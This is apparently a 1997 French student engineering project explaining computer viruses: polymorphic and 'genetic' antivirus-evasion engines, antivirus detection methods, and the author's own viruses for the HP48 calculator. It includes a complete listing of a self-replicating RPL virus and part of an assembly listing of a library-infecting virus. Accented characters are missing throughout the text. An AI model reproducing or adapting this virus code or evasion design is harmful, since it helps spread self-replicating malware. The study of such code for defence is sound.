Le Moteur de Mutation dcrit ci dessus pourrait partir du programme initial gnrer ces 2 programmes. Pour cela, il na besoin de connatre que le code machine des instructions mov a #123 et mov b #ABC, ainsi que les registres auxquels il ne doit pas toucher (ici a et b). Il possde galement une base de donnes contenant les codes dinstructions tels que nop et mov c #000 quil repartira alatoirement entre les instructions composant le programme initial. Cependant, dans cette premire version du Moteur de Mutation, les instructions qui composent la partie active de la boucle de dchiffrement restent les mmes dune copie lautre. Or il est galement possible de les faire varier dune copie lautre. En effet, tout programme en assembleur peut tre cod de plusieurs faons diffrentes car il faut faire des choix sur les registres utiliss, les instructions pour les manipuler de sorte que plutt que de reprsenter une unique boucle en donne dans le Moteur de Mutation, on pourrait enregistrer un arbre reprsentant pour chaque instruction ou groupe dinstructions toutes les programmations possibles. On introduit ainsi un grand nombre de variantes de boucles supplmentaires. En reprenant lexemple prcdent, le programme initial pourrait aussi tre crit :
Mov a #ABC Mov b a Mov a #123

Ou :
Mov a #ABC Mov a #123 Xchg a b (change les contenus des registres a et b)

Pour intgrer ces possibilits au moteur de mutation, il suffit de lui donner choisir, au moment o il devra crire le code du programme initial, lune des 3 sries dinstructions quivalentes que nous venons dexpliciter. Il intercale ensuite des instructions inutiles entre celles quil doit crire. Ceci ne fait que prsenter le principe de base du Moteur de Polymorphisme. Il existe de multiples perfectionnements aux 2 techniques prsentes ci avant. A lheure actuel, un bon moteur de mutation est capable de djouer tous les scanners existants.

20

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

4.5.2. Choix alatoire Le Moteur de Mutation fait constamment appel une procdure de choix alatoire (pour slectionner un bloc dinstruction dans larbre des possibilits, une instruction inutile insrer). Pour cela, il doit gnrer un nombre alatoire, ce qui est un problme pour un ordinateur. La technique la plus souvent employe pour obtenir un grand nombre alatoire consiste utiliser une suite rapidement divergente et lui entrer en paramtre une valeur qui varie toujours, comme le compteur de lhorloge systme. Un exemple dune telle suite est :
X(n+1)=(a*X(n)+c)mod(m)

4.5.3. Structure dun virus polymorphe La figure 6 illustre la structure possible dun virus polymorphe infecteur de fichiers.

Zone Prfixe de Programme Saut vers le virus Programme .HOT

Code chiffr du virus

Recherche dun fichier sain infecter

Boucle de dchiffrement Code chiffr du virus polymorphe

V I R U S

Programme dinfection

Moteur de Mutation gnrant 1 nouvelle boucle de dchiffrement

Algorithme de recopie et de chiffrement de la partie chiffr du virus Actions dinfections supplmentaires

Mesures de furtivit et/ou de rpression

Action facultative

21

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

Figure 6 : Exemple de fonctionnement dun virus polymorphe infecteur de fichier

4.6.

Les virus gntiques

Lide des virus gntiques est dintroduire un facteur dapprentissage dune gnration lautre dun virus polymorphe. En effet, il est courant que les copies dun virus polymorphe ayant infect un ordinateur ne soient pas toutes dtectes par un antivirus (cela dpend du type dantivirus employ). Le population des copies ayant survcu lantivirus prsente donc de meilleures caractristiques dadaptation lenvironnement que lensemble des copies possibles en gnral. Or, ds la gnration suivante, le moteur de mutation va crer des copies susceptibles dtre de nouveau repres. On aimerait donc que le moteur connaisse la structure de la boucle de dchiffrement du virus depuis lequel il est excut, et quil en tienne compte en contraignant la nouvelle boucle de dchiffrement quil va gnrer lui ressembler. On suppose implicitement que puisque le virus est toujours actif, sa boucle de dchiffrement prsente des caractristiques utiles conserver. Pour conserver les proprits de polymorphisme et dvolution, on impose tout de mme un taux de variation dune gnration lautre de cette boucle de dchiffrement. Dans la pratique, on utilise des techniques inspires des algorithmes gntiques. La structure dune boucle de dchiffrement est reprsente par un gne, et lensemble des boucles que peut gnrer le moteur de mutation est lensemble des allles de ce gne. Le moteur a sa disposition la liste de toutes ces allles. Le moteur effectue alors, chaque gnration, et de manire alatoire, des croisements entre lallle de la boucle initiale et des allles de lensemble des allles possibles. On introduit ainsi une notion de filiation travers la conservation de caractristiques gntiques dune gnration lautre du virus polymorphe. Le rsultat est une population de virus qui sadapte la prsence dun antivirus, et apprend lui chapper. Cest le fleuron des techniques de programmation de virus.

5. La riposte des antivirus


Les analyses spectrale et heuristique sont les deux mthodes antivirus les plus avances, qui furent cres pour lutter contre les virus polymorphes. Ces virus ont en effet la particularit de gnrer des copies deux mme qui ne leur sont jamais identiques. Il ne possde donc aucune chane doctet constante qui puisse servir les identifier grce un scanner. Or le scanner est la seule mthode de dtection qui repre le virus tandis quil nest pas actif. Il a donc fallu imaginer de nouvelles techniques pour reprer les virus polymorphes sans devoir attendre quils se manifestent.
22

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

5.1.

Lanalyse spectrale

Lanalyse spectrale se sert des particularits propres chaque moteur de mutations des virus polymorphes. En effet, celui-ci sert gnrer une boucle de dchiffrement en langage machine, et possde ses propres particularits dans le choix du codage des instructions utilises, au mme titre que les compilateurs ou les assembleurs. Rappelons en effet quune instruction du langage machine peut souvent tre code de plusieurs faons diffrentes, et ainsi chacun de ces programmes utilise tels codages plutt que tels autres. Comme tous font des choix diffrents, il devient possible en analysant le codage des instructions employes dans un code den dduire le programme qui la assembl. Dun point de vue thorique, on reprsente toute instruction code du langage machine par un point dans lespace des codages possibles, puis on tablit les zones de cet espace que chaque compilateur, assembleur ou moteur de mutation utilise. Ainsi, par analyse du spectre des instructions dun code, on peut situer celui-ci dans cet espace et faire des recoupements avec les zones voisines. On en dduit par quoi il a t construit, ce qui permet didentifier un virus polymorphe dont on connat le moteur. On pourra par exemple rechercher dans un code susceptible dtre infect par tel virus polymorphe, si il y a des codes dinstruction que seul le moteur de mutation de ce virus emploie, ou au contraire quil nemploie jamais, et en dduire ainsi la prsence ou labsence du virus. Malheureusement, si une version du virus polymorphe ne prsente aucune particularit, ce qui statistiquement doit arriver, elle ne pourra tre dtecter par analyse spectrale. De plus, un virus polymorphe peut riposter en introduisant dans son programme hte une srie dinstructions inutiles que son moteur ne pourrait pas gnrer, pour tromper lanalyse.

5.2.

Lanalyse heuristique

Lanalyse heuristique sert rechercher des codes correspondant des fonctions virales. Supposons, comme cest souvent le cas, que lon veuille trouver les codes qui se chiffrent eux-mmes (cas des virus polymorphe et autocrypts). Un antivirus utilisant lanalyse heuristique contient un dsassembleur lui permettant de lire le code machine et de lexcuter ensuite virtuellement sur des registres simuls. Il considre donc le code comme une simple donne et ne cherche en aucun cas lexcuter. Il pourra ainsi simuler lvaluation dun code suspect en regardant si il essaie de se lire puis de se rcrire au mme endroit, ce qui est la signature dun programme auto-modifiant, et en particulier dun virus polymorphe. Notons quun virus polymorphe dou de furtivit pourrait djouer lanalyseur heuristique en interceptant sa demande de lecture du fichier infect. Ainsi, cette technique, comme toute les autres, nest efficace que si elle est employe conjointement avec dautre. Il en va de mme pour les virus, qui tendent combiner un maximum de techniques

23

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

diffrentes pour chapper aux antivirus. On assiste une vritable course poursuite atteignant des sommets de technicit dans la programmation.

6. Perspectives davenir
6.1. Applications des virus

On entend frquemment parler des virus informatiques dans la presse, mais on mesure rarement lampleur du phnomne virus travers ce brouillard mdiatique. Au demeurant, le virus est prsent comme un objet dangereux, et on oublie souvent que la technique du virus peut galement servir dans un but bnfique. Actuellement, les virus sont un danger rel et de nombreuses entreprises ont subies des pertes cause deux. La technique virale est en effet idale pour un programmeur mal intentionn souhaitant sinfiltrer dans un systme informatique. Des tentatives ont t faites pour chiffrer prcisment les pertes des entreprises, mais elles se heurtent leur mauvaise volont. En effet, les entreprises rechignent avouer la faiblesse de leur protection informatique, et essayent donc souvent de cacher leurs ventuels problmes. Au demeurant, les virus ne sont pas le principal danger informatique quelles doivent affronter. Elles tentent avant tout de se protger des attaques des pirates informatiques, qui tentent de pntrer dans leur rseau pour y voler de linformation. Pour cela, la stratgie est dassurer une meilleur intgrit au rseau local de lentreprise, ce qui de surcrot le protge des virus. Il reste alors le danger rsiduel et anecdotique de virus implants volontairement, et dans un but destructeur, par un employ de lentreprise. Il existe donc des mesures contre le danger des virus, mais il semble quelles ne soient appliques que localement, si bien quune partie des entreprise et la majorit des utilisateurs particuliers sont exposs. Ce sont autant de clients potentiels pour lindustrie des antivirus, qui est particulirement fructueuse.

24

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

Infections Per Thousand Per Month


40 35 30 25 20 15 10 5 0 Jan- Feb- Mar- Apr- May- Jun96 96 96 96 96 96 Jul96 Aug- Sep- Oct- Nov- Dec- Dec- Jan- Mar96 96 96 96 96 96 97 97

Figure 7 : Nombre dinfections par milliers dordinateurs et par mois entre 96 et 97. Sondage de la NCSA.

La figure 7 est extraite dun rapport officiel de la NCSA (National Computer Security Association), paru en 1997 la demande dun regroupement de grandes entreprises du secteur informatique. Cette figure montre que la proportion dordinateurs infects dans le parc informatique des entreprises a doubl entre fvrier 96 et janvier 97. Cependant, on a tendance oublier que la technique des virus pourrait galement tre employe des fins bnfiques. Comme nous lavons tudi, la force du virus vient de sa capacit fondamentale se reproduire de faon autonome et sans intervention de lutilisateur. Il est donc tout indiqu pour certaines taches utiles, comme celles dcrites dans la partie 1.5. sur les charges virales. Il est souhaiter que la technique du virus perde son aura malfique et marginale, pour que lon voit se dvelopper de telles applications.

6.2.

Lescalade technique entre virus et antivirus cessera-t-elle un jour ?

On se rend compte travers cet expos quon assiste une escalade sans fin dans les techniques virales et antivirales. Les programmeurs des deux bords dveloppent des trsors dimagination, et rien ne permet de dire sil sera possible dcrire un jour un virus totalement indcelable, ou un antivirus parfait. Il faut donc sattendre voir ces techniques senrichir de plus en plus, jusqu atteindre des limites de complexit o un programmeur ne pourra plus crire un virus seul. On peut montrer mathmatiquement quun scanner parfait ne peut exister. Il sagit dune dmonstration par labsurde supposant lexistence dun tel scanner, puis construisant un programme utilisant cette fonction scanner et qui aboutit la contradiction. Ainsi, un scanner ne peut fondamentalement pas dtecter tous les virus. Dautre part, nous avons vu quun contrleur dintgrit et un moniteur de comportement doivent attendre lexcution du virus pour le dtecter, ce qui est dangereux puisque le virus peut,

25

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

avant sa dtection, prendre des mesures rpressives qui empcheront justement sa dtection. A long terme, ce sont donc les antivirus utilisant les analyses heuristiques et spectrales qui ont les meilleurs perspectives davenir, et il faut sattendre les voir de plus en plus employs.

Seconde Partie :

Exemples de virus programms sur HP48


Dans ce qui suit, nous allons tudier en dtail le fonctionnement de plusieurs types de virus partir dexemples dvelopps par moi-mme sur un ordinateur de poche de type
26

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

HP48. Cet expos est laboutissement dun long travail de programmation, stendant sur 2 annes. Un lecteur press pourra se contenter de lire la conclusion en partie 6.

1. Description de la HP48
1.1. Quest ce que la HP48 ?
La HP48 est un ordinateur de poche produit par Hewlett Packard et dont les premiers modles sortirent vers 1985. Il sagissait des HP48 S et SX, qui furent remplacs en 1993 par les HP48 G et GX. Ces produits connurent trs vite un grand succs dans les milieux dtudiants passionns par linformatique, car ils se rvlrent tre dexcellente platesformes pour sinitier jusqu un niveau approfondi la programmation et au fonctionnement dun ordinateur. Les programmes qui seront exposs dans cette partie ont t ralis sur une HP48 GX, qui est dote dun microprocesseur Saturne cadenc 3.25 MHz et possdant une architecture 4 bits, dune ROM de 512 Ko et dune RAM de 128 Ko. Comme les manipulations en langage machine exposent lutilisateur de frquentes pertes de donnes, jai galement utilis une extension de mmoire enfichable de 128 Ko qui servait de disquette de sauvegarde.

1.2.

Pourquoi la HP48 ?

Cette machine se prte particulirement bien lcriture de virus car elle permet la fois dcrire des programmes en assembleur et en un langage volu, inspir du LISP. Nous pourrons ainsi constater quil est trs difficile dcrire un bon virus en langage de haut niveau, et quil faut passer par le langage machine. Dautre part, la HP48 a le grand avantage davoir une structure interne comparable celle des PCs. Ainsi, la plupart des types de virus PCs trouvent leur quivalent sur HP48. En particulier, nous aurons loccasion dtudier deux types de virus infecteurs de fichiers, lun en langage de haut niveau, lautre en langage machine, ainsi quun virus systme et un virus hybride autocrypt, qui est ce que jai crit de mieux pour la HP48. Lexprimentation sur HP48 plutt que sur ordinateur prsente galement lavantage majeur dviter tout danger de contamination par les virus crit.

1.3.

Le langage de la HP48

Le langage de programmation de la HP48 est le RPL (Reverse Polish Lisp), qui est inspir du langage LISP. Cest un langage orient objet, dans lequel les principaux types dobjets (programme, chane de caractres, liste dobjets,) possdent une structure forme dun prologue qui permet didentifier le type de lobjet, suivie du corps de lobjet et ventuellement dun prologue de fin (cas des programmes, des listes). Toute instruction du langage RPL sapplique de manire universelle tout objet de la HP48, car elle est

27

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

capable, en reconnaissant les prdicats des objets quon lui donne manipuler, deffectuer lalgorithme de traitement spcifique ces objets. De plus, toutes les manipulations sur les objets de la HP48 sont effectues dans une pile de type FIFO (First In First Out), appele pile de travail. Ainsi, un programme en RPL est une suite dinstructions qui manipulent des objets stockes dans une pile. Cela impose dinverser lordre de certaines oprations, do le terme Reverse dans RPL. Par exemple, si on veux crire un programme additionnant 2 et 3, il faudra lcrire dans lordre 2 3 + pour mettre 2 dans la pile, puis 3, puis effectuer une addition entre les objets de type entier 2 et 3. Le rsultat 5 est alors fourni au premier niveau de la pile. Le schma ci dessous illustre cet exemple :
3: 2: 1: 3 2 3: 2: 3 1: 2 2 3 3: 2: 1: 5 2 3 +

(chiffres en italiques = niveaux de la pile)

Lorsquon examine le codage des instructions du RPL en mmoire, on saperoit quelles sont toutes crites sur un bloc de 5 quartets (1quartet = 4 bits), qui correspond en fait un pointeur sur ladresse dun programme en ROM qui soit contiendra dautres pointeurs, soit sera un objet code, cest dire contenant du langage machine. Si on parcourt en profondeur larborescence des adresses pointes dans les instructions dun programme, on aboutit toujours un objet code. Lorsque la HP48 excute un programme, elle effectue le parcours de cette arborescence. A chaque fois quelle passe dun niveau de larbre un autre, elle dpose ou enlve ladresse de retour dans une pile, appele pile des retours. Il existe un niveau de programmation intermdiaire entre le langage machine et le RPL sur la HP48, qui consiste appeler des programmes en ROM dont on connat ladresse, mais pour lesquels il nexiste pas dinstruction officielle dans le RPL. Il suffit pour cela dcrire sur 5 quartets un pointeur vers ladresse de ce programme, exactement comme pour les instructions normales du RPL. Cependant, un programme utilisant un appel de ce genre ne pourra tre dit dans lenvironnement courant de la HP48 et ncessitera un diteur crit spcialement. Nous appellerons ce langage RPL tendu.

1.4.

Lassembleur sur la HP48

Le microprocesseur Saturn est dot de 4 registres de 64 bits, nots A,B,C et D, de deux registres de 20 bits servant pointer des adresses, nots D0 et D1, ainsi que dun compteur P de 4 bits, de nombreux flags (registres dun bit), et de registres dentres sortie. Il existe galement 5 registres de sauvegardes de 64 bits, appels R0, R1, R2, R3, et R4, et un registre not PC qui contient ladresse de la prochaine instruction excuter. Les registres A, B, C et D possdent des champs, appels P, WP, XS, X, S, M, B, W, et A et qui couvrent les quartets indiqus ci-dessous :

Numro du quartet :

28

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

Quartets dsigns par les champs : P WP W S M XSB A X

La plupart des instructions du langage machine manipulent entre eux des champs de registre. Par exemple C=C&A A effectue un et logique entre les contenus des registres C et A champs A, et crit le rsultat dans le registre C champ A. Les registres les plus employs sont A, B, C, D et les registres pointeurs dadresses D0 et D1. Il existe plusieurs assembleurs pour la HP48, ayant adopt les mmes mnmoniques. Celui qui a servit assembler les codes qui suivent sappelle HP ASM, et a t programm par J.Y. Avenard. On peut galement citer ASM48 et ASMFLASH. La liste dtaille des mnmoniques des instructions du langage machine du Saturn sont disponibles en annexe, et il existe de trs bons livres sur le sujet. Nous introduirons des notions supplmentaires au fur et mesure, lorsquelles seront ncessaires

1.5.

Structure de la mmoire de la HP48

A ladresse #00000 de la ROM de la HP48, on trouve le programme de dmarrage de la calculatrice, qui est excut chaque reset. Aprs ce programme et sur les 256 premiers Ko, on trouve les programmes qui dfinissent le systme dexploitation de la HP et ses fonctionnalits plus volues (calcul symbolique, bibliothques graphiques, langage de programmation). Les 256 Ko suivant contiennent des fonctions peu utilises, et sont masqus en partie par la RAM, en partie par dventuels modules mmoires enfichables. En effet, le Saturn avec ses registres de 20 bits ne peut adresser que 512 Ko de mmoire, aussi faut il dfinir des priorits dadressage entre modules de mmoires si 512 Ko de RAM sont dpasss. La RAM de la HP48 GX fait 128 Ko (contre 32 Ko pour la HP48 G), et possde une structure trs prcise, dcrite par le schma de la figure 1. Les zones en gris sont celles ou agiront les virus tudis. Ainsi, la zone des objets temporaires contient les variables globales, et toutes les donnes utilises entre 2 resets qui nont pas le statut de variable utilisateur. La pile des retours a t dcrite en 1.3, ainsi que la pile de travail. La zone des variables utilisateur contient tout les fichiers utilisateurs (programmes entre autre type dobjet), lesquels sont organiss au sein dune arborescence de rpertoires. Enfin le Port 0 est une zone mmoire particulire o sont stocks des sauvegardes et des objets librairies. La structure de lobjet librairie sera dcrite ultrieurement.

RAM rserve pour le systme / #80000 Objets graphiques de lcran daffichage 29

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

Zones des objets temporaires Pile des retours

Mmoire Libre
Pile de travail Ligne de commande Pile dUndo et variables locales Donnes utilises en programmation RPL Variables de lUtilisateur Port 0

Figure 1 : Structure de la RAM de la HP48

La ROM stend de ladresse #00000 ladresse #FFFFF, tandis que la RAM recouvre une partie de la fin de la ROM, partir de ladresse #80000 et sur une distance de 32 Ko pour une 48 G et 128 Ko pour une 48 GX.

2. Virus infecteur de programme crit en langage de haut niveau


2.1. Principe

Il est possible dcrire des virus en se servant des instructions du langage RPL. Le virus trs simple qui va tre dcrit ci aprs utilise deux instructions propre au RPL, qui sont ->str et obj->. Linstruction ->str convertit tout objet de la HP48 en une chane de caractres (objet string) qui est celle quaurait affich lditeur de la HP48 en ditant cet objet. Linstruction obj-> joue ici le rle inverse de ->str. Il est donc possible, en particulier, de transformer un programme en chane de caractres, de modifier cette chane en lui accolant la chane du programme du virus, puis de re-transformer le tout en programme. On a ainsi un virus infecteur de fichiers programmes. Nous baptiserons ce

30

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

virus Lapin, car il se reproduit btement sans prendre aucune prcaution. Son organigramme est indiqu en figure 2.

2.2.

Le virus dtaill

2.2.1. Boucle de recherche dun fichier infecter Lapin est programm pour chercher des objets de type programme en parcourant de manire alatoire larborescence des rpertoires. Il ralise cela dans la boucle While repeat end ci dessous :
while vars dup size rand * ceil get dup vtype 15 + == repeat dup eval swap + end

Plus prcisment, vars dup size * ceil get prend un objet au hasard dans la liste des variables du rpertoire courant, donne par vars. Puis dup vtype 15 + == teste si le type de cet objet vaux 15, auquel cas il sagit dun rpertoire et on louvre par dup eval. swap + sert mmoriser le parcours effectu dans larborescence, de faon pouvoir revenir au rpertoire dorigine.

Recopie le code du virus sur la pile de travail

Se place au sommet de larborescence de rpertoires

Tant que
Prlve un objet dans la liste des variables du rpertoire courant. Cest objet est il un rpertoire ?

Fait
Entre dans ce rpertoire

Cet objet est il un programme ? Oui Non

- Pose ce programme sur la pile - Le transforme en chane - Attache la chane du virus - Transforme la chane en programme - Enregistre le programme infect la place de lancien

31

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

Nettoie la pile

Reviens dans le rpertoire dorigine

Figure 2 : Fonctionnement du virus Lapin

Lorsque lobjet trouv nest pas un rpertoire, on teste si il sagit dun programme (type = 8) par
if dup vtype 8 == then infection else drop2 end

Linstruction drop2 sert nettoyer la pile, dans le cas o aucun programme na t trouv, pour ne pas laisser de trace du virus.

2.2.2. Processus de reproduction Un programme infect par lapin a la structure suivante :


Programme_hte_en_rpl Nom_du_programme_hte virus_en_rpl

(les signes et sont les prologues de dbut et de fin dun programme en RPL). A chaque appel dun programme infect, le programme est dabord excut, puis le nom Nom_du_prgramme_hte est mis sur la pile. Le virus recherche alors le contenu du programme portant ce nom et en extrait le code viral, en le transformant en chane de caractres et en en prlevant la partie virale. Ces oprations sont effectues en dbut du virus, par la squence :

32

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

Nom_du_programme_hte rcl ->str dup size dup 282 - swap sub

On obtient alors au premier niveau de la pile une chane de caractres contenant le virus, quil suffira de coller celle dun programme sain, moyennant quelques amnagements syntaxiques, pour obtenir un programme infect. Si on trouve un programme infecter, on le transforme donc en chane de caractres que lon soude celle du virus, en prenant soin dinclure le Nom_du_programme_hte dans la nouvelle copie :
dup rot + swap + over rcl ->str dup size 1 swap 1 - sub swap +

Puis on transforme la chane de caractres dcrivant le nouveau programme infect en objet programme excutable, que lon enregistre la place de lancien :
obj-> swap sto

2.3.

Listing complet

Voici le listing complet du virus, baptis Lapin et crit en RPL, qui fait 210.5 octets :
Lapin rcl ->str dup size dup 282 - swap sub
(Recopie le code du virus sur la pile)

path dup head eval swap


(Se place dans le rpertoire matre)

while vars dup size rand * ceil get dup vtype 15 + == repeat dup eval swap + end if dup vtype 8 == then dup rot + swap + over rcl ->str dup size 1 swap 1 - sub swap + obj-> swap sto (Si oui, il est infect) else drop2 end eval
(Retour au rpertoire dorigine) (Si non, nettoyage de la pile) (est-ce un programme ?) (Boucle Tant Que / Fait de recherche dun objet infecter)

33

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

2.4.

Commentaires

Ce virus est trs mauvais. En effet, il met longtemps sexcuter. Dans le meilleur des cas (infection dun programme vide), il lui faut 3.2 secondes, et pour infecter un programme de 200 octets, 11 secondes. En effet, les instructions ->str et obj-> sont dautant plus lentes que lobjet manipul est grand. Dautre part, aucun test nest effectu pour savoir si le programme choisi est dj infect ou non. Enfin, la boucle de recherche dun fichier infecter nest pas optimale, puisquelle naboutit pas toujours un programme. Lapin na donc quune vertu dmonstrative : il est possible, en exploitant des failles du langage de programmation, dcrire un virus en langage de haut niveau, mais les caractristiques dun tel virus sont en gnral dplorables (taille excessive, lenteur). Enfin, il est possible de programmer des versions bien plus performantes de Lapin en utilisant le RPL tendu, lequel offre un jeu dinstruction permettant de manipuler directement un objet programme sans devoir le transformer auparavant en chane de caractres.

3. Virus infecteur de librairie en assembleur


3.1. Description de lobjet librairie

Les librairies sont des objets stocks en RAM dans la zone du Port 0. Il sagit dun regroupement de programmes et dobjets manipuls par ces programmes au sein dune mme structure. Par exemple, il existe sur HP des librairies de calcul symboliques, des librairies de jeux (jeu dchec contre la HP48, jeux darcades) programmes en assembleur, ou encore des utilitaires tels quassembleurs, dsassembleurs, compresseurs Les programmeurs sur HP48 font en effet circuler leurs ralisations sous forme de librairie, que lon peut se procurer dans lun des nombreux clubs HP48. Construire un virus pour librairie est donc une gageure intressante. Mais un tel virus ne peut tre crit quen assembleur, car il faut effectuer, entre autres, des modifications sur le codage de la librairie en mmoire. Avant de dcrire ce virus, il nous faut donc comprendre la faon dont est structure une librairie. La figure 3 dcrit cette structure, avec les conventions quon trouve dans les ouvrages spcialiss. Les zones en gris dsignent les objets (pas forcment des programmes) inclus dans la librairie. Un virus pour librairie devra forcment se fixer sur lun de ces objets, ce qui, on le voit, impose de modifier la structure de la librairie. Chaque objet dune librairie est repr par le numro de sa librairie, et son numro lintrieur de la librairie. Un objet inclus dans une librairie peut tre appel au sein dun programme en RPL. En fait, le plupart des instructions du RPL sont elles mmes des programmes inclus dans des librairies de la ROM. La Hash Table permet de retrouver le numro dun objet de

34

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

la librairie partir de son nom, et la Link Table permet de localiser un objet dans la librairie partir de son numro. Le Message Array contient une liste de messages derreurs utiliss par des objets de la librairie pour dnoncer une mauvaise utilisation. Enfin le Config Object, ou Objet de Configuration, est un petit programme qui est valu chaque reset et qui sert attacher la librairie au rpertoire racine, afin que les objets de la librairie y soient visibles. On verra plus tard que lon pourra dtourner cet objet pour crire un virus systme.

Prologue de librairie #04B20h


Longueur de la librairie, hors prologue Nombre Nc de caractres du nom Caractre 1 Caractre Nc Nombre Nc de caractres du nom Numro de la librairie Offset vers la Hash Table Offset vers le Message Array Offset vers la Link Table Offset vers le Config Object Hash Table Message Array Link Table Identificateur de lobjet 1

35

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

Objet 1

Identificateur de lobjet N Objet N Config Object Checksum (CRC)

Figure 3 : Structure dune librairie

3.2.

Fonctionnement du virus

Le virus que nous allons tudier se reproduit en infectant un objet programme dune librairie, de sorte quil soit valu la place de ce programme lorsque celui ci est appel. Avant dentamer la recherche dune cible, le virus teste si il y a assez de mmoire pour se rpliquer, et si il se trouve bien sur une HP48 G ou GX (et pas une S ou SX). Ensuite, pour rechercher une librairie infecter, il lit dans une zone mmoire o sont rpertories les adresses de toutes les librairies de la HP48. Il les examine une une, en effectuant des tests pour liminer les librairies situes en ROM, et pour voir si elles ne sont pas dj infectes. Puis il examine au plus les 5 premiers objets contenus dans cette librairie la recherche dun programme. Une fois ce programme trouv, on quitte le code en langage machine pour une squence en RPL tendu qui construit un entier binaire dont la taille vaux celle du virus. On enregistre ensuite cet entier au dbut du Port 0. Cette astuce permet dviter de changer tous les pointeurs vers les objets situs entre la fin de la mmoire libre et le dbut du Port 0, quil faut dcaler pour pouvoir insrer le virus dans la librairie. Ce sont des programmes rsidants en ROM qui effectuent donc ces taches, qui autrement auraient t extrmement longues programmer. Dautre part, on nessaye pas de modifier le programme au sein de la librairie, ce qui imposerait de reconstruire toute la Link Table. On prfre installer le virus entre le Config Object et le CRC de la librairie, et le faire se terminer par un saut en direction du programme. On modifie alors la Link Table pour que, lorsque le programme infect de la librairie soit appel, le virus soit excut sa place. Une librairie ntant pas ditable par la HP48, une telle supercherie passe inaperue. Pour ce faire, il faut encore dcaler la zone mmoire comprise entre la fin de lentier binaire et la fin de la librairie infecter vers le dbut du Port 0, en crasant lentier binaire. Puis dans lintervalle ainsi mnag entre la fin de la librairie infecter et le dbut de la librairie suivante, recopier le virus.

36

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

Une fois cette copie installe dans la librairie, il reste modifier la Link Table pour que le virus soit excut la place du programme infect, permettre au nouveau virus de connatre lemplacement du programme quil parasite pour pouvoir lexcuter, recalculer les pointeurs vers les librairies qui ont t dcales car elles taient entre le dbut du Port 0 et la librairie infecter, et terminer lexcution du virus. La figure 4 montre la structure dune librairie, dont lobjet numro 2 a t infect par le virus.

Prologue de librairie #04B20h


Longueur de la librairie, hors prologue Nom de la librairie Numro de la librairie

Offsets vers la Hash Table, le Message Array, la Link Table et le Config Object

Hash Table Message Array Link Table modifie, qui pointe vers le programme 2bis et pas le 2 Identificateur de lobjet 1 Objet 1 Identificateur de lobjet 2 Objet 2, de type programme 37

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

Identificateur de lobjet N Objet N Config Object

Identificateur de lobjet 2 VIRUS

Checksum (CRC)

Figure 4 : Structure dune librairie infecte par le virus

3.3.

Listing du virus

Ce qui suit est le listing comment du virus. Le comprendre en dtail ncessiterait une connaissance pralable trs approfondie du fonctionnement de la HP48, qui dpasse le cadre de ce PIR. Le fonctionnement du virus t rsum en 3.2, et les commentaires permettrons de suivre pas pas le rle des squences crites en assembleur.

/* Processus de recherche dun programme contenu dans une librairie, /* infecter. Cest ce code qui est excut la place du programme hte /* lorsque celui-ci est appel. *deb GOSBVL 0679B LCHEX 00200 ?C<D A GOYES okmem GOTO sortie *okmem D1= 80000 A=DAT1 A LCHEX A5C3F ?A=C A GOYES okhp GOTO sortie /* /* /* /* /* /* /* /* Teste si il reste assez de mmoire libre dans la RAM pour reproduire le virus. Si non, on va *sortie pour quitter le code en langage machine. Si oui, va okmem Teste le modle de la HP48. Si cest une HP48 G ou GX, va *okhp, sinon, pour viter toute erreur due une incompatibilit, on va *sortie

38

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

*okhp D1= 80536 A=DAT1 A R1=A D1= 809A3 A=DAT1 X B=A A D1=D1+ 3

/* Lit ladresse de dbut du Port 0 /* pour y chercher des librairies infecter /* Lit le nombre de librairies attaches au /* rpertoire matre

*etudlib AD1EX D0=A D1=A D1=D1+ 16 B=B-1 X GONC ok1 GOTO sortie *ok1 D0=D0+ 8 A=DAT0 A ?A<>0 A GOYES etudlib D0=D0- 5 A=DAT0 A GOSUB test GONC etudlib D0= 80319 DAT0=A A D0=A R0=A D0=D0+ 7 A=DAT0 A ?A<>0 A GOYES etudlib D0=D0- 7 GOSUB idl->szl A=DAT0 A CD0EX A=A+C A GOSUB setc A=A-C A D0=A D0=D0+ 15 D0=D0+ 3 A=B A R4=A AD1EX R3=A A=PC GOINC deb A=A+C A D1=A LCHEX 0FF GOSBVL 07831 /* /* /* /* /* /* /* /* /* /*

/* Boucle qui parcourt lensemble des librairies /* attaches

/* Si toutes les librairies ont t regardes sans /* succs, on quitte

/* Ladresse de la librairie est elle valide ? /* Si non, on passe la librairie suivante /* Sagit il dune librairie situe dans la RAM ? /* (et pas la ROM !) /* Si non, librairie suivante /* Sauvegarde ladresse de la librairie dans un /* buffer dentre sortie situe en #80319

